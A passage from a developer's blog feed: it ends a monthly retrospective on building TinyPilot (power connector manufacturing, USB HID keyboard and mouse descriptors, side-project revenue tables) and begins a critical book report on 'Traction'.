 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 420px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/09/power-connector-side_hu_2509569c4535724e.png 300w, https://mtlynch.io/retrospectives/2020/09/power-connector-side_hu_e1b9b2073f7861bc.png 600w, https://mtlynch.io/retrospectives/2020/09/power-connector-side_hu_48a3facee9828a2d.png 800w, https://mtlynch.io/retrospectives/2020/09/power-connector-side.png 1140w'
 src="https://mtlynch.io/retrospectives/2020/09/power-connector-side.png" alt="Screenshot of TinyPilot submissions on reddit" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The TinyPilot power connector that&amp;rsquo;s coming together astonishingly fast&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>If everything goes well, the case and boards could be ready for customers as early as next week. That would mean that we went from zero to a completed physical product in just two weeks.&lt;/p>
&lt;p>Including design, parts, and labor, the total cost for this run is on track for ~$13/unit. Even for a simple project like this, I had no idea turnaround time and cost could be that low. Assuming everything goes well, that is.&lt;/p>
&lt;h2 id="hid-descriptors-are-the-devil">HID descriptors are the devil&lt;/h2>
&lt;p>As I described &lt;a href="#why-oh-y-cables">above&lt;/a>, TinyPilot needs to present itself to the target computer as a USB keyboard. It does this by sending what&amp;rsquo;s called a human interface device (HID) descriptor over the USB connection. USB devices like keyboards, mice, and thumb drives have HID descriptors that announce what the device can do.&lt;/p>
&lt;p>The HID descriptor is a binary blob that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// HID descriptor for a keyboard
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Source: https://www.kernel.org/doc/html/latest/usb/gadget_hid.html
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">static&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> hidg_func_descriptor my_hid_data = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .subclass = &lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#999;font-style:italic">/* No subclass */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .protocol = &lt;span style="color:#3677a9">1&lt;/span>, &lt;span style="color:#999;font-style:italic">/* Keyboard */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .report_length = &lt;span style="color:#3677a9">8&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .report_desc_length = &lt;span style="color:#3677a9">63&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> .report_desc = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x05&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_PAGE (Generic Desktop) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x09&lt;/span>, &lt;span style="color:#3677a9">0x06&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE (Keyboard) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0xa1&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* COLLECTION (Application) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x05&lt;/span>, &lt;span style="color:#3677a9">0x07&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_PAGE (Keyboard) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x19&lt;/span>, &lt;span style="color:#3677a9">0xe0&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_MINIMUM (Keyboard LeftControl) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x29&lt;/span>, &lt;span style="color:#3677a9">0xe7&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_MAXIMUM (Keyboard Right GUI) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x15&lt;/span>, &lt;span style="color:#3677a9">0x00&lt;/span>, &lt;span style="color:#999;font-style:italic">/* LOGICAL_MINIMUM (0) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x25&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* LOGICAL_MAXIMUM (1) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x75&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_SIZE (1) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x95&lt;/span>, &lt;span style="color:#3677a9">0x08&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_COUNT (8) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x81&lt;/span>, &lt;span style="color:#3677a9">0x02&lt;/span>, &lt;span style="color:#999;font-style:italic">/* INPUT (Data,Var,Abs) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x95&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_COUNT (1) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x75&lt;/span>, &lt;span style="color:#3677a9">0x08&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_SIZE (8) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x81&lt;/span>, &lt;span style="color:#3677a9">0x03&lt;/span>, &lt;span style="color:#999;font-style:italic">/* INPUT (Cnst,Var,Abs) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x95&lt;/span>, &lt;span style="color:#3677a9">0x05&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_COUNT (5) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x75&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_SIZE (1) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x05&lt;/span>, &lt;span style="color:#3677a9">0x08&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_PAGE (LEDs) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x19&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_MINIMUM (Num Lock) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x29&lt;/span>, &lt;span style="color:#3677a9">0x05&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_MAXIMUM (Kana) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x91&lt;/span>, &lt;span style="color:#3677a9">0x02&lt;/span>, &lt;span style="color:#999;font-style:italic">/* OUTPUT (Data,Var,Abs) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x95&lt;/span>, &lt;span style="color:#3677a9">0x01&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_COUNT (1) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x75&lt;/span>, &lt;span style="color:#3677a9">0x03&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_SIZE (3) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x91&lt;/span>, &lt;span style="color:#3677a9">0x03&lt;/span>, &lt;span style="color:#999;font-style:italic">/* OUTPUT (Cnst,Var,Abs) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x95&lt;/span>, &lt;span style="color:#3677a9">0x06&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_COUNT (6) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x75&lt;/span>, &lt;span style="color:#3677a9">0x08&lt;/span>, &lt;span style="color:#999;font-style:italic">/* REPORT_SIZE (8) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x15&lt;/span>, &lt;span style="color:#3677a9">0x00&lt;/span>, &lt;span style="color:#999;font-style:italic">/* LOGICAL_MINIMUM (0) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x25&lt;/span>, &lt;span style="color:#3677a9">0x65&lt;/span>, &lt;span style="color:#999;font-style:italic">/* LOGICAL_MAXIMUM (101) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x05&lt;/span>, &lt;span style="color:#3677a9">0x07&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_PAGE (Keyboard) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x19&lt;/span>, &lt;span style="color:#3677a9">0x00&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_MINIMUM (Reserved) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x29&lt;/span>, &lt;span style="color:#3677a9">0x65&lt;/span>, &lt;span style="color:#999;font-style:italic">/* USAGE_MAXIMUM (Keyboard Application) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0x81&lt;/span>, &lt;span style="color:#3677a9">0x00&lt;/span>, &lt;span style="color:#999;font-style:italic">/* INPUT (Data,Ary,Abs) */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">0xc0&lt;/span> &lt;span style="color:#999;font-style:italic">/* END_COLLECTION */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>};
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Creating an HID descriptor for keyboards was a walk in the park. Lots of people had implemented fake keyboards in Python, and the process was well-documented.&lt;/p>
&lt;p>Implementing a fake mouse was much harder and required me to &lt;a href="https://web.archive.org/web/20221229134157/https://eleccelerator.com/tutorial-about-usb-hid-report-descriptors/">learn more about how HID descriptors work&lt;/a>. Mice have lots more variations like number of buttons, number of scrollwheels, and type of positioning (absolute vs. relative). Debugging is a pain because the descriptor either works or it doesn&amp;rsquo;t. If you generate an invalid descriptor, there&amp;rsquo;s no way to get feedback about what&amp;rsquo;s wrong with it. Worst of all, every time you try a descriptor, you have to reboot the Raspberry Pi.&lt;/p>
&lt;p>It took me five days of tedious work before I got basic mouse functionality working. The key for me was focusing on tooling. At first, I was working with descriptors as giant unstructured blobs, like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">\\&lt;/span>x05&lt;span style="color:#ed9d13">\\&lt;/span>x01&lt;span style="color:#ed9d13">\\&lt;/span>x09&lt;span style="color:#ed9d13">\\&lt;/span>x02&lt;span style="color:#ed9d13">\\&lt;/span>xA1&lt;span style="color:#ed9d13">\\&lt;/span>x01&lt;span style="color:#ed9d13">\\&lt;/span>x05&lt;span style="color:#ed9d13">\\&lt;/span>x09&lt;span style="color:#ed9d13">\\&lt;/span>x19&lt;span style="color:#ed9d13">\\&lt;/span>x01&lt;span style="color:#ed9d13">\\&lt;/span>x29&lt;span style="color:#ed9d13">\\&lt;/span>x08&lt;span style="color:#ed9d13">\\&lt;/span>x15&lt;span style="color:#ed9d13">\\&lt;/span>x00&lt;span style="color:#ed9d13">\\&lt;/span>x25&lt;span style="color:#ed9d13">\\&lt;/span>x01&lt;span style="color:#ed9d13">\\&lt;/span>x95&lt;span style="color:#ed9d13">\\&lt;/span>x08&lt;span style="color:#ed9d13">\\&lt;/span>x75&lt;span style="color:#ed9d13">\\&lt;/span>x01&lt;span style="color:#ed9d13">\\&lt;/span>x81&lt;span style="color:#ed9d13">\\&lt;/span>x02&lt;span style="color:#ed9d13">\\&lt;/span>x05&lt;span style="color:#ed9d13">\\&lt;/span>x01&lt;span style="color:#ed9d13">\\&lt;/span>x09&lt;span style="color:#ed9d13">\\&lt;/span>x30&lt;span style="color:#ed9d13">\\&lt;/span>x09&lt;span style="color:#ed9d13">\\&lt;/span>x31&lt;span style="color:#ed9d13">\\&lt;/span>x16&lt;span style="color:#ed9d13">\\&lt;/span>x00&lt;span style="color:#ed9d13">\\&lt;/span>x00&lt;span style="color:#ed9d13">\\&lt;/span>x26&lt;span style="color:#ed9d13">\\&lt;/span>xFF&lt;span style="color:#ed9d13">\\&lt;/span>x7F&lt;span style="color:#ed9d13">\\&lt;/span>x75&lt;span style="color:#ed9d13">\\&lt;/span>x10&lt;span style="color:#ed9d13">\\&lt;/span>x95&lt;span style="color:#ed9d13">\\&lt;/span>x02&lt;span style="color:#ed9d13">\\&lt;/span>x81&lt;span style="color:#ed9d13">\\&lt;/span>x02&lt;span style="color:#ed9d13">\\&lt;/span>xC0 &amp;gt; &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MOUSE_FUNCTIONS_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/report_desc&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That made it difficult to think about the descriptor because I couldn&amp;rsquo;t modify anything without starting over. I wrote a quick JavaScript app that allowed me to take example HID descriptors in different formats and convert them to equivalent shell commands to generate the file:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/09/hid-formatter.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/09/hid-formatter_hu_c402abae4866357.png 300w, https://mtlynch.io/retrospectives/2020/09/hid-formatter_hu_7168ea5eafed2fbe.png 600w, https://mtlynch.io/retrospectives/2020/09/hid-formatter_hu_cec97ed92b260c30.png 800w, https://mtlynch.io/retrospectives/2020/09/hid-formatter.png 934w'
 src="https://mtlynch.io/retrospectives/2020/09/hid-formatter.png" alt="Screenshot of my HID formatter tool" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A rudimentary JavaScript app I created to format HID descriptors for me&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Next, I wrote little utility scripts in my home directory. They were dead-simple scripts that normally wouldn&amp;rsquo;t be worth their own files:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#cd2828;font-weight:bold">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">set&lt;/span> -x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo journalctl -u init-usb-gadget
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>These dumb tools helped me in two ways. First, they gave me a sense of accomplishment when I felt like I was banging my head against the wall for days. Even though the HID descriptors weren&amp;rsquo;t working, I was at least producing &lt;em>some&lt;/em> code that did what I wanted. Next, they reduced my cognitive load and freed up more mental capacity to focus on the problem at hand. Instead of recalling the syntax for viewing the systemd logs, I could just type &lt;code>~/show-systemd-log&lt;/code>.&lt;/p>
&lt;p>It turned out that most of my problems weren&amp;rsquo;t even HID descriptors but rather the shell commands I was using to create them. Once I cleared other tedious tasks from my mind, I realized that I should verify that the files on disk match my expectations. They didn&amp;rsquo;t. Once I realized that, a working mouse descriptor soon followed.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="tinypilot-mouse.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Using TinyPilot to simulate mouse and keyboard movements on a remote laptop&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>August 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>48,231&lt;/td>
 &lt;td>49,981&lt;/td>
 &lt;td>&lt;font color="green">+1,750 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>118,980&lt;/td>
 &lt;td>125,599&lt;/td>
 &lt;td>&lt;font color="green">+6,619 (+6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>8.0&lt;/td>
 &lt;td>9.0&lt;/td>
 &lt;td>&lt;font color="green">+1.0 (+12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$208.86&lt;/td>
 &lt;td>$202.46&lt;/td>
 &lt;td>&lt;font color="red">-$6.40 (-3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdThrive Earnings&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$35.00&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$134.45&lt;/td>
 &lt;td>$129.88&lt;/td>
 &lt;td>&lt;font color="red">-$4.57 (-3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Other Affiliate Earnings&lt;/td>
 &lt;td>$26.60&lt;/td>
 &lt;td>$118.88&lt;/td>
 &lt;td>&lt;font color="green">+$92.28 (+347%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$369.91&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$486.22&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$116.31 (+31%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto grew a small amount this month, though I&amp;rsquo;ve been trying to focus all of my attention on TinyPilot, as the ROI is much higher there.&lt;/p>
&lt;p>The one notable Is It Keto event was that I switched my display ads from AdSense to AdThrive. Frustratingly, the transition has demanded much more of my attention than I expected. The onboarding process involved lots of little steps where they&amp;rsquo;ll ask me to fill out some form, wait a week, ask me to fill out another form, and on and on.&lt;/p>
&lt;p>Finally, we reached the point of switching my site over to AdThrive ads, and it turned out that their JavaScript snippet didn&amp;rsquo;t work on single-page apps, so it misbehaved on the Vue-based Is It Keto code. I get that a lot of their clients probably have WordPress sites, but&amp;hellip; come on! An SPA shouldn&amp;rsquo;t be such a curveball in 2020.&lt;/p>
&lt;p>That was a whole new can of worms because AdThrive kept sending me broken, hacky JavaScript that was supposed to make AdThrive play nicely with my site. I&amp;rsquo;d run it, report to them that it didn&amp;rsquo;t work, and they&amp;rsquo;d send me a new JavaScript snippet that was broken in a different way.&lt;/p>
&lt;p>Finally, I convinced them to host the code on their side and cut me out of the debug loop. I&amp;rsquo;m not crazy about the fact that they&amp;rsquo;re pushing to production with what feels like insufficient testing, but I don&amp;rsquo;t have bandwidth to worry about it at the moment.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>July 2020&lt;/th>
 &lt;th>August 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>440&lt;/td>
 &lt;td>324&lt;/td>
 &lt;td>&lt;font color="red">-116 (-26%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,247&lt;/td>
 &lt;td>841&lt;/td>
 &lt;td>&lt;font color="red">-406 (-33%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$18.05&lt;/td>
 &lt;td>$9.36&lt;/td>
 &lt;td>&lt;font color="red">-$8.69 (-48%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$18.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$9.36&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$8.69 (-48%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Things are still quiet at Zestful, though I&amp;rsquo;m evaluating a new API marketplace. I&amp;rsquo;ve always been desperate for an alternative to my current platform, RapidAPI. A new company called &lt;a href="https://servernope.com/">Servernope&lt;/a> invited me to their API platform. I told them that I didn&amp;rsquo;t have time to set it up, but they were welcome to create a Zestful entry on my behalf. So, they &lt;a href="https://www.servernope.com/store/service/ZestfulData/Zestful">did&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;m not quite sold yet. One of my biggest issues with RapidAPI is that their analytics fail to present data in a useful way. Servernope seems to have a similar problem, except I have no paid users from Servernope yet, so it&amp;rsquo;s hard to compare.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Investigated a power issue on TinyPilot and began manufacturing a component to fix it.&lt;/li>
&lt;li>Added mouse support to TinyPilot.&lt;/li>
&lt;li>Hired a freelancer to &lt;a href="https://mtlynch.io/retrospectives/2020/08/#managing-inventory-is-hard">take over inventory management&lt;/a> and some research tasks.&lt;/li>
&lt;li>Set up eBay listings to sell TinyPilot internationally.
&lt;ul>
&lt;li>I&amp;rsquo;m in the process of figuring out how to do it all through Shopify, but eBay is an easy interim solution.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Published a new blog post: &lt;a href="https://mtlynch.io/collect-debt/">&amp;ldquo;How I Collected a Debt from an Unscrupulous Merchant&amp;rdquo;&lt;/a>
&lt;ul>
&lt;li>And two new &lt;a href="https://mtlynch.io/book-reports">book reports&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Work with electrical engineering experts earlier.
&lt;ul>
&lt;li>Looking back, I was veering far enough out of mainstream Raspberry Pi usage that I should have consulted professional electrical engineers to review my plans.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When you&amp;rsquo;re stuck on a hard problem, create tools that eliminate debugging work.
&lt;ul>
&lt;li>Creating tools gives you a feeling of forward momentum and frees your mind to focus on the essentials of a problem.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Sell 60 TinyPilot kits and power connectors.&lt;/li>
&lt;li>Test three new marketing channels.&lt;/li>
&lt;li>Interview seven IT professionals about whether they&amp;rsquo;d use TinyPilot in their work.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Traction by Gabriel Weinberg and Justin Mares</title><link>https://mtlynch.io/book-reports/traction/</link><pubDate>Sun, 23 Aug 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/traction/</guid><description>&lt;p>This book was thoroughly underwhelming. Dozens of people have recommended it to me in the past couple of years, and I don&amp;rsquo;t understand the hype. It has some insightful ideas, but they&amp;rsquo;re buried under questionable advice and poor writing.&lt;/p></description><content:encoded>&lt;p>This book was thoroughly underwhelming. Dozens of people have recommended it to me in the past couple of years, and I don&amp;rsquo;t understand the hype. It has some insightful ideas, but they&amp;rsquo;re buried under questionable advice and poor writing.&lt;/p>
&lt;p>Each marketing channel the book describes has the level of depth you&amp;rsquo;d expect from a journalist writing an article about a topic for the first time. The majority of the information seems to be secondhand advice based on interviews the authors conducted with successful founders, so there were lots of little errors you&amp;rsquo;d expect from someone describing something from the outside. For example, the book claims that Joel Spolsky became famous for being the CEO of Fog Creek Software (really, it was &lt;a href="https://www.joelonsoftware.com/">his blog&lt;/a>). When they describe reddit, they confuse the concepts of &amp;ldquo;upvotes&amp;rdquo; and &amp;ldquo;karma.&amp;rdquo; Their description of the ideal keynote speech sounded to me like the epitome of a terrible presentation (7 minutes per slide?!?), but that&amp;rsquo;s a bit subjective.&lt;/p>
&lt;p>The first few chapters had the most value to me. They describe a high-level approach to finding a marketing strategy and evolving it over time. The rest of the book had some interesting anecdotes, but I didn&amp;rsquo;t learn many techniques to apply to my businesses.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Conflict of interest notice&lt;/strong>: I admit I had a slight bias coming into this book because one of the co-authors is the founder of Perfect Keto. That company competes with &lt;a href="https://isitketo.org/">one of my websites&lt;/a> for search traffic using SEO techniques that I find a bit shady.
&lt;/div>

&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>It provides a good jumping-off point for brainstorming marketing ideas.&lt;/li>
&lt;li>The book describes marketing meta-strategies that I found compelling, such as &lt;a href="#50-rule">the 50% rule&lt;/a> and &lt;a href="#the-bullseye-method">Bullseye&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>The quality of the writing was poor.
&lt;ul>
&lt;li>Most of the book is in the passive voice.&lt;/li>
&lt;li>There were many sloppy, confusing sentences, such as the following:
&lt;ul>
&lt;li>
&lt;blockquote>
&lt;p>The way this step gets most often messed up by founders is by keeping around distracting marketing efforts in other traction channels.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Lots of fluff and redundancy. The book could have been 30-40% shorter with the same information.&lt;/li>
&lt;li>The authors don&amp;rsquo;t seem to have firsthand experience with many of the topics they describe.&lt;/li>
&lt;li>It&amp;rsquo;s aimed more toward VC-backed startups that have money to blow.
&lt;ul>
&lt;li>They repeatedly cited Noah Kagan&amp;rsquo;s strategy of &lt;a href="https://okdork.com/james-clear/">offering dozens of bloggers $500 each&lt;/a> to write articles about Mint.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="defining-traction">Defining traction&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Traction&lt;/strong> is evidence that your company is satisfying a need.
&lt;ul>
&lt;li>e.g., downloads of your app are increasing, more customers are buying subscriptions&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="50-rule">50% Rule&lt;/h3>
&lt;ul>
&lt;li>If your early customers love your product, but you have no means to find more customers, your company will likely fail.&lt;/li>
&lt;li>To avoid getting lost in the product, dedicate 50% of your time to product development and 50% of your time to marketing.&lt;/li>
